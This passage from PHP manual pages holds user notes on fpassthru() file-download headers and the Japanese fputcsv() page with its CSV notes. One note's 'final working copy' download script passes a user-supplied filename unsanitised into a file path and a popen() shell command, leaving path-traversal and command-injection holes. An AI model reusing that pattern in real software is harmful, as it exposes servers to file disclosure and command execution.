 header('Content-Type: '.$mime_type);
 header('Content-disposition: '.$content_disp.'filename="'.$attachment_name.'"');
 header('Cache-Control: no-cache');
 header('Pragma: no-cache');
 header('Expires: 0');
 header('Content-Length: '.(string)(filesize($completeFilePath)));
 $fp=fopen($completeFilePath,'r');
 while(!feof($fp)) {
     $buffer = fread($fp, 1024*6); //speed-limit 6kb/s
     if ($big_file>32 &&
     $extension!="jpg" &&
     $extension!="jpeg" &&
     $extension!="gif" &&
     $extension!="png" &&
     $extension!="txt")
     sleep(1); //if filesize>32kb and no smallfile like jpg,gif or so - wait 1 second
     print $buffer;
 }
 fclose($fp);
 header ("Connection: close");
//#######################################

I think it's the easiest way to slow down downloading files without using a loop or for-next - this really saves performace of php and is quite exact by using 1024*number_of_kb in one second...

Thats all

Greetings, omega2k.dynu.com
brett at NOSPAM dot brettbrewer dot com 04-Feb-2003 02:49
The above method worked for me after trying everything else imaginable to get Explorer to download a file via PHP. However, I had to change the content-length line. No need to "stringify" the $size variable as in the above post. The method below works for both small and very large file (tested on files larger than 30MB with no probs)...

<?php
$distribution="/path/to/a/file.exe"
if ($fd = fopen ($distribution, "r")){

          $size=filesize($distribution);
          $fname = basename ($distribution);

//This is some really weak code I used just to redirect to the file before I fixed
//this problem...it makes the browser handle the download via Apache instead of PHP
//but it would be really easy to then find out the true location of the file

               //header("Location: $distribution");
             //fclose ($fd);
             //exit;

//below is a much better way to do it...

     header("Pragma: ");
      header("Cache-Control: ");
     header("Content-type: application/octet-stream");
      header("Content-Disposition: attachment; filename=\"".$fname."\"");
      header("Content-length: $size");

          while(!feof($fd)) {
               $buffer = fread($fd, 2048);
               print $buffer;
          }
          fclose ($fd);
          exit;
}
?>

Good luck.
Brett Brewer.
shaun at nospam dot phplabs dot com 29-Nov-2002 04:41
Note that if you use these two headers from a previous example:

header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');

before sending a file to the browser, the "Open" option on Internet Explorer's file download dialog will not work properly. If the user clicks "Open" instead of "Save," the target application will open an empty file, because the downloaded file was not cached. The user will have to save the file to their hard drive in order to use it.

Make sure to leave these headers out if you'd like your visitors to be able to use IE's "Open" option.
john at bvstudios dot com 21-Nov-2002 12:05
In reply to:

"3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers."

I recently had the exact same issue.  What I found is that this was due to my session initialization on the page.  For some reason doing a session_start() caused the script to try and download itself, not what I was indicating through various header() calls.

The solution was to move the download portion above the session initialization.  At first glance this may seem dangerous, but I only process it if there are POST vars and the script is reloading itself.  This way I know the form was submitted by that page and before they can submit it, they have to have a session!  Adding an .htaccess rule to deny all for the directory where the files are stored also helps because then only my script can access the files.
mikek at nospam dot muonics dot c o m 05-Nov-2002 02:07
Found a workaround to another headache that just cropped up tonight.  Apparently Opera 6.1 on Linux (unsure of other versions/platforms) has problems downloading files using the above methods if you have enabled compression via zlib.output_compression in php.ini.

It seems that Opera sees that the actual transfer size is less than the size in the "Content-length" header for the download and decides that the transfer was incomplete or corrupted.  It then either continuously retries the download or else leaves you with a corrupted file.

Solution:  Make sure your download script/section is off in its own directory. and add the following to your .htaccess file for that directory:

php_flag zlib.output_compression off
claude_minette at hotmail dot com 30-Oct-2002 03:51
This code works fine with a download manager... maybe not the best solution, but the only one that works with IE!!!!!

It forces download, but gif file don't want to be downloaded!!! so I need to simply display them in browser...

NB $file is the result of a query on the file table...

require_once("auth.inc.php");
$attachment = (strstr($HTTP_USER_AGENT, "MSIE")) ? "" : " attachment"; // IE 5.5 fix.
//Content of file
if (!headers_sent()){
   $ficexp=explode('.',$file["orig_name"]);
   $ext=$ficexp[sizeof($ficexp)-1];
   if ($ext!='gif'){
           header('Cache-Control: no-cache, must-revalidate');
           header('Pragma: no-cache');
           header("Content-Type: application/force-download");
           header("Content-Length: ".filesize("files/".$file["save_name"]));
           header("Content-Disposition: ".$attachment."; filename=".$file["orig_name"]);
   }
   $fn=fopen("files/".$file["save_name"], "rb");
   fpassthru($fn);
}
else {
    MessageBox('Headers already sent, cannot force download!');
}

Min's
mikek at muonics dot nospam dot c dot o 07-Oct-2002 03:44
Found a workaround for the MSIE cache bug that puts brackets around dotted items I posted about a while back (e.g. "somefile1.0-xyz.zip" becoming "somefile[1][0]-xyz.zip").

It turns out if you encode all but the last dot as %2e, then MSIE won't do this.  If you encode all of them (including the last dot), then MSIE sticks an extra bracketed number at the end of the file (e.g. "somefile1.0-xyz.zip[1]").  Unfortunately, however, some other browsers then want to save the file with the %2e in the filename instead of the dots.

if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
{
    $fileName = preg_replace('/\./', '%2e', $fileName,
        substr_count($fileName, '.') - 1);
}

Viola.  Properly named files.  This works at least with MSIE 6.0.
mikek at muonics dot nospam dot c dot o 04-Oct-2002 08:48
If your downloaded files are getting corrupted, one of the scripts included/required in your download script or page may have whitespace around the <?php ?> tags.  A common enough problem, but most often recognized when header() fails, due to headers already being sent, but one worth mention here.

This one bit me just recently with my download script.  Somewhere along the way adding functionality to my website, I wound up with a space (not a blank line, which I usually spot right away, but a single space character) after the closing ?> tag in one of the require()'d files.  Oddly enough, all the downloads seemed to work ok, but the files were corrupted: that space character wound up at the beginning of each file.
10-Sep-2002 05:17
Note that the above comment about the "Connection: close" header is incorrect: it does not guarantee that the connection will be closed immediately after the transfer is complete. Instead, it informs the client that it can no longer use the existing HTTP connection to perform other HTTP requests on the same server, and that the client MUST close the connection as soon as it has finished handling the current request.

If the client (for example an old HTTP proxy) is using HTTP/1.0, it may not recognize this header, and could could the connection open; the web server should detect this and close the connection and ignore any further request attempt on that connection.

HTTP/1.1 clients MUST honor this header and close their connection as soon as they detect the end of the answer.

In any case, the web server will initiate a watchdog after script completion, and will force the deconnection after about 15 to 30 seconds if the client does not honor this header.

The exact time to wait for the "socket closed by remote" event is configurable in the web server.

It is generally smaller when the "Connection: close" header has been sent by the server, than when no "Connection:close" has been sent (in which case the connection persists for longer time, to let the client navigate on the server without enduring new connection costs in terms of: connection delays, number of socket control blocks in final wait state, number of used ports).

Don't abuse "Connection: close" on your server for every hosted page: this creates more incoming TCP connection attempts than necessary, and slows the navigation on your site. Use it only if your script cannot generate explicit content length in the result header, as the client will have difficulties to determine the end of the results.

If you want to save connection resources to your server, always send an Explicit "Content-Length" header within your script, or use the "chunked" transfer-encoding to explicitly send the result by delimited fragments (if the client is using HTTP/1.1, it MUST support this chunked transfer encoding, per specification). See RFC2616 for details.
10-Sep-2002 04:38
fpassthru() works best for small files. In download manager scripts, it's best to determine the URL of the file to download (you may generate it locally in your session data if you need so), and then use HTTP __temporary__ redirects (302 status code, with a "Location:" header specifying the effective download URL).

This saves your web server from maintaining PHP scripts running for long times during the file downloadn and instead the download will be managed directly by the web server without scripting support (consequence: less memory resources used by parallel downloads)...
me at gavinadams dot org 29-Aug-2002 07:06
Interesting results using fpassthru() vs. fread() under UNIX.

Using fread(fp, length) to read from a valid, open pointer, in which the filename has a special character (single quote, comma, open paren, etc) fails on the read (no debug statements written after that). However, using fpassthru() works like a champ.

Thanks for the helpful notes on IE session info, have seen this before but didn't know what was causing it.
mikek at muonics dot nospam dot c dot o dot m 24-Aug-2002 09:14
A few notes on using fpassthru() to php-driven download links that pop up a "Save As.." dialog:

1. I found that the download progress dialog was remaining up for several seconds after the transfer was completed, before telling the user it was complete.  This was fixed by adding the following header:

header ("Connection: close");

This will cause the connection to be closed as soon as the transfer is complete, rather than waiting for a timeout.

2. If you have multiple periods in the filename, you might wind up with a filename with numbers in brackets (such as myfile-[1][0]-windows.zip when you put myfile-1.0-windows.zip in the headers) with MSIE.  According to Microsoft's KB, his is a "known" bug having to due with MSIE's cache and there's no workaround that I was able to find.

3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers.
- 24-Jul-2002 04:37
If you trying to output a user-written file on a page for verifying, editing, etc, you'll want to use fopen(), fread(), htmlentities() to avoid malicious code. Text from fpassthru, while not parsed per se can still mess up the display of a page (or at least it did for me!) --mt.
josh at trutwins dot homeip dot net 23-Apr-2002 05:03
I could not get the above examples to work.  This is what I used instead:

header("Content-Disposition: attachment; filename=$file");
header("Content-Description: Image File");
$fd = fopen($file,'r');
fpassthru($fd);
php at brayra dot com 04-Apr-2002 12:25
Here is a final working copy that won't freak out Microsoft Explorer if you are using sessions. Thanks to everyone else who came before. This is not as simple as I thought it would be.

the user would pass a call to the page:
http://mysite/getfile.php?file=products.pdf

include 'base.inc'; // inlcude base code, start session  and manage users

// This loads the file global from the post/get variables
// For security reasons register globals is disabled
LoadPostGet('file');

$filename = '/data/files/' . $file;
if(file_exists($filename)){
  $FILECMD = '/usr/bin/file';
  $contentType = '';
  $fp=popen("$FILECMD -bin $filename", 'r');
  if (!$fp) $contentType='application/octet-stream';
  else {
    while($string=fgets($fp, 1024)) $contentType .= $string;
    pclose($fp);
  }
  if(strpos($HTTP_SERVER_VARS['HTTP_USER_AGENT'], 'MSIE')){
    // IE cannot download from sessions without a cache
    header('Cache-Control: public');
  }
  header("Content-type: $contentType");
  header("Content-Disposition:inline; filename=\"".$file."\"");
  header("Content-length:".(string)(filesize($filename)));
  $fd=fopen($filename,'rb');
  while(!feof($fd)) {
    print fread($fd, 4096);
  }
  fclose($fd);
}else{
  print "File Not Found";
}
mirko at mcaserta dot com 23-Jan-2002 05:07
Update to the above. This also sets the correct mime type for the file you're sending. It's a small hack since it relies on the "file" system command but it should work well.

<?
// full path to the file command
$FILECMD='/usr/bin/file';
// directory where the file resides
$fileDir='/home/mcaserta';
// full file name
$fileName='test.sh';

// END CONFIG

$completeFilePath=$fileDir.'/'.$fileName;
$fp=popen("$FILECMD -bin $completeFilePath", 'r');

if (! $fp) $contentType='application/octet-stream';
else {
  while($string=fgets($fp, 1024)) $contentType .= $string;
  pclose($fp);
}

header('Content-type: '.($contentType));
header('Content-Disposition: inline; filename="'.($fileName).'"');
header('Content-length: '.(string)(filesize($completeFilePath)));
$fd=fopen($completeFilePath,'r');
fpassthru($fd);
?>
straz at -removethispart-mac dot com 15-Jan-2002 12:22
I wrote a page which authenticates the user, then calls fpassthru() to download an Acrobat document. It worked great up to about 1MB, but for larger files, the script was dying in the middle. My ISP told me they were killing my script because it was a memory hog. I tried readfile() instead, to no avail.

I replaced the fpassthru() with this workaround. It works great:

 while(!feof($fn)) {
   $buffer = fread($fn, 4096);
   print $buffer;
 }
cgriffin at websales dot com 30-Oct-1999 04:56
If you open a new file, write to it and then call fpassthru() it doesn't work. You need to call rewind() first to set the file pointer to the begining of the file.


行を CSV 形式にフォーマットし、ファイルポインタに書き込む

  • ≪ fpassthru
  • fputs ≫
  • PHP Manual
  • ファイルシステム 関数
  • 行を CSV 形式にフォーマットし、ファイルポインタに書き込む

fputcsv

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

fputcsv — 行を CSV 形式にフォーマットし、ファイルポインタに書き込む

説明

fputcsv ( resource $handle , array $fields , string $delimiter = "," , string $enclosure = '"' , string $escape_char = "\\" ) : int|false

fputcsv() は、行（fields 配列として渡されたもの）を CSV としてフォーマットし、それを handle で指定したファイルに書き込みます (いちばん最後に改行を追加します)。

パラメータ

handle

ファイルポインタは、有効なファイルポインタである必要があり、 fopen() または fsockopen() で正常にオープンされた （そしてまだ fclose() でクローズされていない） ファイルを指している必要があります。

fields

文字列の配列。

delimiter

オプションの delimiter はフィールド区切り文字 (一文字だけ) を指定します。

enclosure

オプションの enclosure はフィールドを囲む文字 (一文字だけ) を指定します。

escape_char

オプションの escape_char は、エスケープ文字 (最大で一文字) を指定します。 空文字("") を指定すると、プロプライエタリなエスケープ機構が無効になります。

注意:

enclosure がフィールド内に含まれる場合は、同じ文字を二度続けることでエスケープします。 ただし、その直前に escape_char がある場合は別です。

返り値

書き込んだ文字列の長さを返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.4.0 | escape_char パラメータが、 プロプライエタリなエスケープ機構を無効にするために空文字列を受け入れるようになりました。
5.5.4 | escape_char パラメータが追加されました。

例

例1 fputcsv() の例

<?php

$list = array (
    array('aaa', 'bbb', 'ccc', 'dddd'),
    array('123', '456', '789'),
    array('"aaa"', '"bbb"')
);

$fp = fopen('file.csv', 'w');

foreach ($list as $fields) {
    fputcsv($fp, $fields);
}

fclose($fp);
?>

上の例が書き出す file.csv の内容は、このようになります。

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

注意

注意: マッキントッシュコンピュータ上で作成されたファイルを読み込む際に、 PHP が行末を認識できないという問題が発生した場合、 実行時の設定オプションauto_detect_line_endings を有効にする必要が生じるかもしれません。

参考

  • fgetcsv() - ファイルポインタから行を取得し、CSVフィールドを処理する

User Contributed Notes

reinhold dot egenter at gmail dot com 30-Sep-2020 01:05
Please note, that fputcsv ist not always enclosing strings with the enclosure character.

<?php
$fh = fopen('file.csv', 'w');

$a = [ 'One 1', 'Two', 'Three 3' ];

fputcsv($fh, $a, "\t");

fclose($fh);
?>

results in a file containing the line:
"One 1"    Two    "Three 3"

It seems that only strings containing at least one of the following characters are enclosed:

- the delimiter character
- the enclosure character
- the escape character
- \n (new line)
- \r (line feed)
- \t (tab)
- blank

I hope this saves you the hour it took me to get to the bottom of this behaviour.
julian at polygon dot red 12-Jul-2020 02:55
If you do not want to enclose strings (because you're managing that yourself or your content is already enclosed?), note that you cannot pass an empty enclosure to fputcsv. The function requires one character for that parameter. chr(0) works well:

fputcsv($handle, $fields, ",", chr(0));
mnz 30-Apr-2019 09:25
Hope this could help..

In some server configuration an associative array doesn't work. In my case the script stops without any error or message, just fputcsv return "false".

Diggin'n'Debuggin I found that in my local setup associative arrays works, but on live server not. Just removing keys solved the problem.

So, it's better to strip keys before calling fputcsv()

<?php

// Remove keys from an array

$csv_fields = array();

foreach($associative_array as $value) {
     $csv_fields[] = $value;
}

fputcsv( $handler, $csv_fields);

?>
mikhail dot galanin at yahoo dot com 30-Nov-2017 12:08
Sometimes it's useful to get CSV line as string. I.e. to store it somewhere, not in on a filesystem.

<?php
function csvstr(array $fields) : string
{
    $f = fopen('php://memory', 'r+');
    if (fputcsv($f, $fields) === false) {
        return false;
    }
    rewind($f);
    $csv_line = stream_get_contents($f);
    return rtrim($csv_line);
}
?>
perske at muenster dot de 19-Sep-2017 05:55
To produce RFC 4180 conforming output, do not use fputcsv but encode manually, like this:

function rfccsv($arr){
    foreach($arr as &$a){
        $a=strval($a);
        if(strcspn($a,",\"\r\n")<strlen($a))$a='"'.strtr($a,array('"'=>'""')).'"';
    }
    return implode(',',$arr);
}
echo rfccsv(array(.....))."\n";
bienvenunet at yahoo dot com 18-Aug-2017 12:48
This function, in its current state, can't be used for exporting United States Zip code values to Excel. It doesn't have an option for forcing the enclosure for all strings.
Biniam Nigusse 20-Jan-2016 04:52
the solution for how to solve the encoding problem while converting an array to csv file is below.

$fp = fopen('php://memory', 'w');
    //add BOM to fix UTF-8 in Excel
    fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));
    // output the column headings
    //fputcsv($fp, array('Topic', 'Title', 'URL', 'Keywords', 'Score', 'FB_count', 'TW_count', '|'));
    if(isset($trend)){
        foreach ( $trend as $myField ){
        fputcsv($fp, $myField, '|');
        }
    }
Anonymous 03-Nov-2015 10:45
if you want make UTF-8 file for excel, use this:

$fp = fopen($filename, 'w');
//add BOM to fix UTF-8 in Excel
fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));
mike at fatica dot net 22-Jul-2014 03:51
We had a function that wrote a single line CSV.  I noticed that with enabling auto_detect_line_endings, fputcsv would not write a newline at the end of the file.

Enabling auto_detect_line_endings changed the fputcsv behavior to include a newline.
iam at thatguy dot co dot za 20-Jan-2014 02:37
So this is something I wrote to generically generate CSV exports from 2 arrays and a name.

You need to provide it with e single dimension array for the headings. A multidimensional array with the actual body . And lastly the filename you would like to get minus the .csv and viola.

<?php

    # We will use this function to generate a CSV
    function exportCSV($headings=false, $rows=false, $filename=false)
    {
        # Ensure that we have data to be able to export the CSV
        if ((!empty($headings)) AND (!empty($rows)))
        {
            # modify the name somewhat
            $name = ($filename !== false) ? $filename . ".csv" : "export.csv";

            # Set the headers we need for this to work
            header('Content-Type: text/csv; CHARSET=shift-jis');
            header('Content-Disposition: attachment; filename=' . $name);

            # Start the ouput
            $output = fopen('php://output', 'w');

            # Create the headers
            fputcsv($output, $headings);

            # Then loop through the rows
            foreach($rows as $row)
            {
                # Add the rows to the body
                fputcsv($output, $row);
            }

            # Exit to close the stream off
            exit();
        }

        # Default to a failure
        return false;
    }
?>
alanzhang717 at gmail dot com 26-Nov-2013 01:44
When you output csv by fputcsv, if there are any Chinese character, you may get messy code. Then you need to set the encoding properly:

fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF));  // just add this line
fputcsv($fp, ...);
R dot Mansveld at Spider-IT dot de 27-Sep-2013 01:26
Inspired by boonerunner's function, I wrote a smaller, faster, and more flexible one, which also uses less memory.
I also renamed it to avoid collision or overwriting the PHP function, and gave the 3rd and 4th parameter default values like fputcsv() uses.

This function puts all text values in $enclosure's while doubling the $enclosure in the value, and leaves numeric values as they are.
But if the $delimiter exists in the numeric value, this value will also be put in $enclosure's (may happen if you use a dot as the $delimiter).

function fwritecsv($handle, $fields, $delimiter = ',', $enclosure = '"') {
    # Check if $fields is an array
    if (!is_array($fields)) {
        return false;
    }
    # Walk through the data array
    for ($i = 0, $n = count($fields); $i < $n; $i ++) {
        # Only 'correct' non-numeric values
        if (!is_numeric($fields[$i])) {
            # Duplicate in-value $enclusure's and put the value in $enclosure's
            $fields[$i] = $enclosure . str_replace($enclosure, $enclosure . $enclosure, $fields[$i]) . $enclosure;
        }
        # If $delimiter is a dot (.), also correct numeric values
        if (($delimiter == '.') && (is_numeric($fields[$i]))) {
            # Put the value in $enclosure's
            $fields[$i] = $enclosure . $fields[$i] . $enclosure;
        }
    }
    # Combine the data array with $delimiter and write it to the file
    $line = implode($delimiter, $fields) . "\n";
    fwrite($handle, $line);
    # Return the length of the written data
    return strlen($line);
}
gildas dot quemener at gmail dot com 17-Jul-2013 08:29
There is an even easier solution to get the result of fputcsv into a variable:

<?php
 $output = fopen('php://output', 'w');
 ob_start();
 fputcsv($output, $data);
 fclose($output);
 $csv = ob_get_clean();
?>
David Thomas 20-Nov-2011 06:17
Output XML string as CSV with first row as column headers:

<?php

    // In this case XML is
    // <records>
    //  <record>...</record>
    //  <record>...</record>
    // </records>

  if($xml = simplexml_load_string($string)){
    // Keep up to 12MB in memory, if becomes bigger write to temp file
    $file = fopen('php://temp/maxmemory:'. (12*1024*1024), 'r+');
    if($row = get_object_vars($xml->record[0])){ // First record
      // First row contains column header values
      foreach($row as $key => $value){
        $header[] = $key;
      }
      fputcsv($file, $header,',','"');
      foreach ($xml->record as $record) {
        fputcsv($file, get_object_vars($record),',','"');
      }
      rewind($file);
      $output = stream_get_contents($file);
      fclose($file);
      return $output;
    }else{
      return '';
    }
  }

?>
jamie at agentdesign dot co dot uk 20-Jul-2011 06:05
Utility function to output a mysql query to csv with the option to write to file or send back to the browser as a csv attachment.

<?php
    function query_to_csv($db_conn, $query, $filename, $attachment = false, $headers = true) {

        if($attachment) {
            // send response headers to the browser
            header( 'Content-Type: text/csv' );
            header( 'Content-Disposition: attachment;filename='.$filename);
            $fp = fopen('php://output', 'w');
        } else {
            $fp = fopen($filename, 'w');
        }

        $result = mysql_query($query, $db_conn) or die( mysql_error( $db_conn ) );

        if($headers) {
            // output header row (if at least one row exists)
            $row = mysql_fetch_assoc($result);
            if($row) {
                fputcsv($fp, array_keys($row));
                // reset pointer back to beginning
                mysql_data_seek($result, 0);
            }
        }

        while($row = mysql_fetch_assoc($result)) {
            fputcsv($fp, $row);
        }

        fclose($fp);
    }

    // Using the function
    $sql = "SELECT * FROM table";
    // $db_conn should be a valid db handle

    // output as an attachment
    query_to_csv($db_conn, $sql, "test.csv", true);

    // output to file system
    query_to_csv($db_conn, $sql, "test.csv", false);
?>
simeonl at dbc dot co dot nz 23-Mar-2010 08:24
In general I found myself wanting to get the result as a string rather than writing it to a file, and in particular I wanted to produce a CSV using an EOL that might not be the same as that on the server where I generated it.  This is how I solved the problem without rewriting  fputcsv.

<?php
function sputcsv($row, $delimiter = ',', $enclosure = '"', $eol = "\n")
{
    static $fp = false;
    if ($fp === false)
    {
        $fp = fopen('php://temp', 'r+'); // see http://php.net/manual/en/wrappers.php.php - yes there are 2 '.php's on the end.
        // NB: anything you read/write to/from 'php://temp' is specific to this filehandle
    }
    else
    {
        rewind($fp);
    }

    if (fputcsv($fp, $row, $delimiter, $enclosure) === false)
    {
        return false;
    }

    rewind($fp);
    $csv = fgets($fp);

    if ($eol != PHP_EOL)
    {
        $csv = substr($csv, 0, (0 - strlen(PHP_EOL))) . $eol;
    }

    return $csv;
}

// test
$rows = array
(
    array('blue, sky', 'green, lime', 'red', 'black'),
    array('white', 'gold', 'purple, imperial', 'grey, slate'),
    array('orange, burnt', 'pink, hot', 'violet', 'indigo'),
);

if (PHP_EOL == "\r\n")
{
    $eol = "\n";
}
else
{
    $eol = "\r\n";
}

foreach($rows as $row)
{
    echo nl2br(sputcsv($row, ',', '"', $eol));
}
?>

The test should produce something like the following:

"blue, sky","green, lime",red,black
white,gold,"purple, imperial","grey, slate"
"orange, burnt","pink, hot",violet,indigo
alex /-\-l- windeagle DOT org 11-Jun-2009 08:41
TAB delimiting.

Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character.
The answer is to use the chr() function.  The ascii code for tab is 9, so chr(9) returns a tab character.

<?php
    fputcsv($fp, $foo, '\t');      //won't work
    fputcsv($fp, $foo, '    ');    //won't work

    fputcsv($fp, $foo, chr(9));    //works
?>

==================

it should be:
<?php
    fputcsv($fp, $foo, "\t");
?>
you just forgot that single quotes are literal...meaning whatever you put there that's what will come out so '\t' would be same as 't' because \ in that case would be only used for escaping but if you use double quotes then that would work.
soapergem at gmail dot com 14-May-2009 08:17
I've created a function for quickly generating CSV files that work with Microsoft applications. In the field I learned a few things about generating CSVs that are not always obvious. First, since PHP is generally *nix-based, it makes sense that the line endings are always \n instead of \r\n. However, certain Microsoft programs (I'm looking at you, Access 97), will fail to recognize the CSV properly unless each line ends with \r\n. So this function changes the line endings accordingly. Secondly, if the first column heading / value of the CSV file begins with uppercase ID, certain Microsoft programs (ahem, Excel 2007) will interpret the file as being in the SYLK format rather than CSV, as described here: http://support.microsoft.com/kb/323626

This function accommodates for that as well, by forcibly enclosing that first value in quotes (when this doesn't occur automatically). It would be fairly simple to modify this function to use another delimiter if need be and I leave that as an exercise to the reader. So quite simply, this function is used for outputting CSV data to a CSV file in a way that is safe for use with Windows applications. It takes two parameters + one optional parameter: the location of where the file should be saved, an array of data rows, and an optional array of column headings. (Technically you could omit the headings array and just include it as the first row of the data, but it is often useful to keep this data stored in different arrays in practice.)

<?php

function mssafe_csv($filepath, $data, $header = array())
{
    if ( $fp = fopen($filepath, 'w') ) {
        $show_header = true;
        if ( empty($header) ) {
            $show_header = false;
            reset($data);
            $line = current($data);
            if ( !empty($line) ) {
                reset($line);
                $first = current($line);
                if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                    array_shift($data);
                    array_shift($line);
                    if ( empty($line) ) {
                        fwrite($fp, "\"{$first}\"\r\n");
                    } else {
                        fwrite($fp, "\"{$first}\",");
                        fputcsv($fp, $line);
                        fseek($fp, -1, SEEK_CUR);
                        fwrite($fp, "\r\n");
                    }
                }
            }
        } else {
            reset($header);
            $first = current($header);
            if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                array_shift($header);
                if ( empty($header) ) {
                    $show_header = false;
                    fwrite($fp, "\"{$first}\"\r\n");
                } else {
                    fwrite($fp, "\"{$first}\",");
                }
            }
        }
        if ( $show_header ) {
            fputcsv($fp, $header);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        foreach ( $data as $line ) {
            fputcsv($fp, $line);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        fclose($fp);
    } else {
        return false;
    }
    return true;
}

?>
nate at example dot com 19-Nov-2008 10:17
Alright, after playing a while, I'm confident the following replacement function works in all cases, including the ones for which the native fputcsv function fails. If fputcsv fails to work for you (particularly with mysql csv imports), try this function as a drop-in replacement instead.

Arguments to pass in are exactly the same as for fputcsv, though I have added an additional $mysql_null boolean which allows one to turn php null's into mysql-insertable nulls (by default, this add-on is disabled, thus working identically to fputcsv [except this one works!]).

<?php

function fputcsv2 ($fh, array $fields, $delimiter = ',', $enclosure = '"', $mysql_null = false) {
    $delimiter_esc = preg_quote($delimiter, '/');
    $enclosure_esc = preg_quote($enclosure, '/');

    $output = array();
    foreach ($fields as $field) {
        if ($field === null && $mysql_null) {
            $output[] = 'NULL';
            continue;
        }

        $output[] = preg_match("/(?:${delimiter_esc}|${enclosure_esc}|\s)/", $field) ? (
            $enclosure . str_replace($enclosure, $enclosure . $enclosure, $field) . $enclosure
        ) : $field;
    }

    fwrite($fh, join($delimiter, $output) . "\n");
}

// the _EXACT_ LOAD DATA INFILE command to use
// (if you pass in something different for $delimiter
// and/or $enclosure above, change them here too;
// but _LEAVE ESCAPED BY EMPTY!_).
/*
LOAD DATA INFILE
    '/path/to/file.csv'

INTO TABLE
    my_table

FIELDS TERMINATED BY
    ','

OPTIONALLY ENCLOSED BY
    '"'

ESCAPED BY
    ''

LINES TERMINATED BY
    '\n'
*/

?>
jon+dontspamme at phpsitesolutions dot com 29-Jul-2008 10:44
I found that the fputcsv examples for PHP 4 missed one thing, that was proper handling of the $enclosure value when it is a quote (if a quote is passed in a field, and it is delimited by a slash, it will be improperly handled by the functions submitted here).

My modified function was built using the actual PHP5 source for fputcsv, with the addition of properly reacting to the existence of a delimited quote in the field being processed.

<?php
if (!function_exists('fputcsv')) {
    function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {

        // Sanity Check
        if (!is_resource($handle)) {
            trigger_error('fputcsv() expects parameter 1 to be resource, ' .
                gettype($handle) . ' given', E_USER_WARNING);
            return false;
        }

        if ($delimiter!=NULL) {
            if( strlen($delimiter) < 1 ) {
                trigger_error('delimiter must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($delimiter) > 1 ) {
                trigger_error('delimiter must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $delimiter = $delimiter[0];
        }

        if( $enclosure!=NULL ) {
             if( strlen($enclosure) < 1 ) {
                trigger_error('enclosure must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($enclosure) > 1 ) {
                trigger_error('enclosure must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $enclosure = $enclosure[0];
       }

        $i = 0;
        $csvline = '';
        $escape_char = '\\';
        $field_cnt = count($fields);
        $enc_is_quote = in_array($enclosure, array('"',"'"));
        reset($fields);

        foreach( $fields AS $field ) {

            /* enclose a field that contains a delimiter, an enclosure character, or a newline */
            if( is_string($field) && (
                strpos($field, $delimiter)!==false ||
                strpos($field, $enclosure)!==false ||
                strpos($field, $escape_char)!==false ||
                strpos($field, "\n")!==false ||
                strpos($field, "\r")!==false ||
                strpos($field, "\t")!==false ||
                strpos($field, ' ')!==false ) ) {

                $field_len = strlen($field);
                $escaped = 0;

                $csvline .= $enclosure;
                for( $ch = 0; $ch < $field_len; $ch++ )    {
                    if( $field[$ch] == $escape_char && $field[$ch+1] == $enclosure && $enc_is_quote ) {
                        continue;
                    }elseif( $field[$ch] == $escape_char ) {
                        $escaped = 1;
                    }elseif( !$escaped && $field[$ch] == $enclosure ) {
                        $csvline .= $enclosure;
                    }else{
                        $escaped = 0;
                    }
                    $csvline .= $field[$ch];
                }
                $csvline .= $enclosure;
            } else {
                $csvline .= $field;
            }

            if( $i++ != $field_cnt ) {
                $csvline .= $delimiter;
            }
        }

        $csvline .= "\n";

        return fwrite($handle, $csvline);
    }
}
?>
ifunk 16-Sep-2007 06:04
I converted this from the PHP source code. This replicates PHP5 functionality exactly, whereas the other examples here do not.

<?php

if (!function_exists('fputcsv')) {

  function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {
    $str = '';
    $escape_char = '\\';
    foreach ($fields as $value) {
      if (strpos($value, $delimiter) !== false ||
          strpos($value, $enclosure) !== false ||
          strpos($value, "\n") !== false ||
          strpos($value, "\r") !== false ||
          strpos($value, "\t") !== false ||
          strpos($value, ' ') !== false) {
        $str2 = $enclosure;
        $escaped = 0;
        $len = strlen($value);
        for ($i=0;$i<$len;$i++) {
          if ($value[$i] == $escape_char) {
            $escaped = 1;
          } else if (!$escaped && $value[$i] == $enclosure) {
            $str2 .= $enclosure;
          } else {
            $escaped = 0;
          }
          $str2 .= $value[$i];
        }
        $str2 .= $enclosure;
        $str .= $str2.$delimiter;
      } else {
        $str .= $value.$delimiter;
      }
    }
    $str = substr($str,0,-1);
    $str .= "\n";
    return fwrite($handle, $str);
  }

}

?>
alexxed thething gmail thething com 10-Aug-2007 12:28
A event simpler way:

<?php
    function fputcsv($hFile, $aRow, $sSeparator=',', $sEnclosure='"')
    {
       foreach ($aRow as $iIdx=>$sCell)
